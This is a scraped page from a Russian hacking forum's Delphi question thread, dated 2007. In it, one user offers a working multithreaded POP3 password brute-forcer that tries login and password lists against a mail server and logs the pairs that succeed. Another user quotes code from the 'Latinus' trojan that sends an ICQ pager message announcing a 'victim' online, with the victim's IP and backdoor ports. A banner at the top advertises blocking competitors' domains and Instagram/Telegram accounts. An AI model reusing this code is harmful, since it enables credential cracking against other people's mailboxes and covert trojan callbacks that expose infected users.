УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
[Delphi]/[Pascal] Задай вопрос, получи ответ

Страница 53 из 677

Опции темы

Поиск в этой теме

Опции просмотра

#521

21.08.2007, 22:46

Nightmarе

Познавший АНТИЧАТ

Регистрация: 29.04.2007

Сообщений: 1,189

Провел на форуме:
5749763

Репутация: 1680

Отправить сообщение для Nightmarе с помощью ICQ

Ребят, ну так как мне послать пейджером в аську сообщение через делфи не юзая исходники coban2k ???

#522

21.08.2007, 23:25

W!z@rD

Reservists Of Antichat - Level 6

Регистрация: 12.02.2006

Сообщений: 891

Провел на форуме:
1892597

Репутация: 836

Отправить сообщение для W!z@rD с помощью ICQ

>Да, там где то ошибка
именно где?!?

>Nightmarе
если у них есть вебформа для отправки ICQ вообщения, то можно...

__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...

#523

21.08.2007, 23:55

alamat

Познающий

Регистрация: 06.08.2007

Сообщений: 36

Провел на форуме:
373639

Репутация: 10

Build
[Error] Unit2.pas(16): Undeclared identifier: 'TIdPOP3'
[Warning] Unit2.pas(20): Method 'Destroy' hides virtual method of base type 'TThread'
[Error] Unit2.pas(31): Undeclared identifier: 'LP'
[Error] Unit2.pas(33): Missing operator or semicolon
[Error] Unit2.pas(34): Missing operator or semicolon
[Error] Unit2.pas(37): Undeclared identifier: 'Host'
[Error] Unit2.pas(38): Undeclared identifier: 'Port'
[Error] Unit2.pas(45): Undeclared identifier: 'PS'
[Error] Unit2.pas(45): 'END' expected but ']' found
[Error] Unit2.pas(51): Undeclared identifier: 'LP'
[Error] Unit2.pas(52): Missing operator or semicolon
[Error] Unit2.pas(59): Undeclared identifier: 'LS'
[Error] Unit2.pas(60): Undeclared identifier: 'LP'
[Error] Unit2.pas(62): Missing operator or semicolon
[Error] Unit2.pas(62): Missing operator or semicolon
[Error] Unit2.pas(63): Missing operator or semicolon
[Error] Unit2.pas(63): Missing operator or semicolon
[Error] Unit2.pas(65): Missing operator or semicolon
[Error] Unit2.pas(68): 'THEN' expected but identifier 'Connected' found
[Error] Unit2.pas(71): Missing operator or semicolon
[Error] Unit2.pas(73): Missing operator or semicolon
[Hint] Unit2.pas(13): Private symbol 'PL' declared but never used
[Hint] Unit2.pas(15): Private symbol 'tmpJ' declared but never used
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit2.pas'

#524

22.08.2007, 10:50

W!z@rD

Reservists Of Antichat - Level 6

Регистрация: 12.02.2006

Сообщений: 891

Провел на форуме:
1892597

Репутация: 836

PHP код:


		
			
unit Unit2;



interface 



uses 

  Classes, IdPOP3;



type 

  threed = class(TThread) 

  private 

    { Private declarations } 

    LL: TStringList; 

    PL: TStringList; 

    tmpI: Integer; 

    tmpJ: Integer; 

    IdPOP3: TIdPOP3;

    procedure CallBack;

  protected

    constructor Create(LoginList: string; PassList: string; aHost: string; aPort: Word);

    procedure Execute; override;

  public

      destructor Destroy; override;

  end;



implementation 



uses unit1; 



constructor threed.Create(LoginList: string; PassList: string; aHost: string; aPort: Word);

begin

LL:=TStringList.Create;

PL:=TStringList.Create;

LL.LoadFromFile(LoginList); 

PL.LoadFromFile(PassList);

IdPOP3:=TIdPOP3.Create(nil);

with IdPOP3 do 

begin 

    Host:=aHost; 

    Port:=aPort; 

end; 

inherited Create(false); 

end; 



procedure threed.CallBack; 

begin 

form1.Memo2.Lines.Add(LL.Strings[tmpI]+';'+PL.Strings[tmpJ]);

end; 



destructor threed.Destroy; 

begin 

LL.Free; 

PL.Free;

IdPOP3.Free; 

end; 



procedure threed.Execute;

var 

i,j:integer; 

begin 

for i:=0 to LL.Count-1 do

for j:=0 to PL.Count-1 do

begin 

IdPOP3.UserName:=LL.Strings[i];

IdPOP3.Password:=PL.Strings[j];

try 

IdPOP3.Connect; 

except 

end; 

if IdPOP3.Connected then 

begin 

Synchronize(CallBack); 

IdPOP3.Disconnect; 

end; 

IdPOP3.Disconnect; 

end; 

end; 

end.

все откомпилировалось...

#525

22.08.2007, 11:05

alamat

Познающий

Регистрация: 06.08.2007

Сообщений: 36

Провел на форуме:
373639

Репутация: 10

Да откомпилировалось) но не работает))))

#526

22.08.2007, 11:08

alamat

Познающий

Регистрация: 06.08.2007

Сообщений: 36

Провел на форуме:
373639

Репутация: 10

и кстати можешь объяснить почему тот что ты мне дал код, должен работать быстрее чем мой?

#527

22.08.2007, 14:01

W!z@rD

Reservists Of Antichat - Level 6

Регистрация: 12.02.2006

Сообщений: 891

Провел на форуме:
1892597

Репутация: 836

знаем что такое многопоточность? *думаю нет

итак при каждом создание потока создается IdPOP3...
ему передатются логины и пассы... каким макаром их передавать это дело алгоритма...
значит он пытается залогиниться, соответсвеноо если все ок
вызывается синхронизация с vcl "процедурой"..
которая выдает результат...

тебе просто необходимо сделать алгоритм для раздачи логин:пасс к потокам...

>>Nightmarе
кусок кода из сорцов трояна Latinus
по идее должно работать =/

PHP код:


		
			
procedure TfrmServer.ClientPagerConnect(Sender: TObject;

  Socket: TCustomWinSocket);

var

   cData,cSend,CrLf,cSubject,cMessage:string;

begin

   SentPager:=True;

   CrLf:=#13#10;

   cMessage:='Victim+is+on-line:' + CrLf + 'IP:' + ClientPager.Socket.LocalAddress +

             CrLf + 'Connection+port:' + IntToStr(StrToIntDef(Trim(Copy(SrvPort,10,Length(SrvPort))),DEF_CON_PORT)) +

             CrLf + 'Upload/download+port:' + IntToStr(StrToIntDef(Trim(Copy(TnsfPort,11,Length(TnsfPort))),DEF_UD_PORT)) +

             CrLf + 'Local+time:' + DateToStr(Date) + '+-+' + TimeToStr(Time);

   cSubject:='Latinus+pager';

   cData:='from=Latinus+server&fromemail=Latinus@Latinus.br&subject=' + cSubject + '&body=' + cMessage + '&to=' + Trim(Copy(cICQ,9,Length(cICQ))) + '&Send=' + '''';

   cSend:='POST /scripts/WWPMsg.dll HTTP/1.0' + CrLf;

   cSend:=cSend + 'Referer: http://wwp.mirabilis.com' + CrLf;

   cSend:=cSend + 'User-Agent: Mozilla/4.06 (Win95; I)' + CrLf;

   cSend:=cSend + 'Connection: Keep-Alive' + CrLf;

   cSend:=cSend + 'Host: wwp.mirabilis.com:80' + CrLf;

   cSend:=cSend + 'Content-type: application/x-www-form-urlencoded' + CrLf;

   cSend:=cSend + 'Content-length: ' + IntToStr(Length(cData)) + CrLf;

   cSend:=cSend + 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*' + CrLf + CrLf;

   cSend:=cSend + cData + CrLf + CrLf + CrLf + CrLf;

   ClientPager.Socket.SendText(cSend);

end;

Последний раз редактировалось W!z@rD; 22.08.2007 в 14:22..

#528

24.08.2007, 09:51

Nokia3310

Новичок

Регистрация: 27.07.2007

Сообщений: 23

Провел на форуме:
176845

Репутация: -4

Тока начал изучать Delphi.Я селал прогу ну или чето типо того.Как перекомпилить ее в exe?

#529

24.08.2007, 11:11

Fen-Omen

Участник форума

Регистрация: 22.03.2007

Сообщений: 220

Провел на форуме:
1068874

Репутация: 234

Отправить сообщение для Fen-Omen с помощью ICQ

Цитата:

Тока начал изучать Delphi.Я селал прогу ну или чето типо того.Как перекомпилить ее в exe?

File-Save Project - указываешь папку, сохраняшь. Жмешь Ctrl+F9 - скомпилится exeшник. В Project - Options можно задать параметры - описания, иконку и множество других полезных функций.

Сперва попробуй просто запустить (F9) если рабочая программа, и нет ошибок - она запустится. Если же

Цитата:

чето типо того

Компилятор выдаст ошибки, и будет носом в них тыкать, исправляешь, повторяешь.

Последний раз редактировалось Fen-Omen; 24.08.2007 в 11:13..

#530

24.08.2007, 15:38

Nokia3310

Новичок

Регистрация: 27.07.2007

Сообщений: 23

Провел на форуме:
176845

Репутация: -4

спс

Страница 53 из 677

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ!	Alexsize	Беспроводные технологии/Wi-Fi/Wardriving	2568	25.04.2026 12:58
[jQuery] - Задай вопрос, получи ответ	Isis	PHP	62	25.12.2009 03:25

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход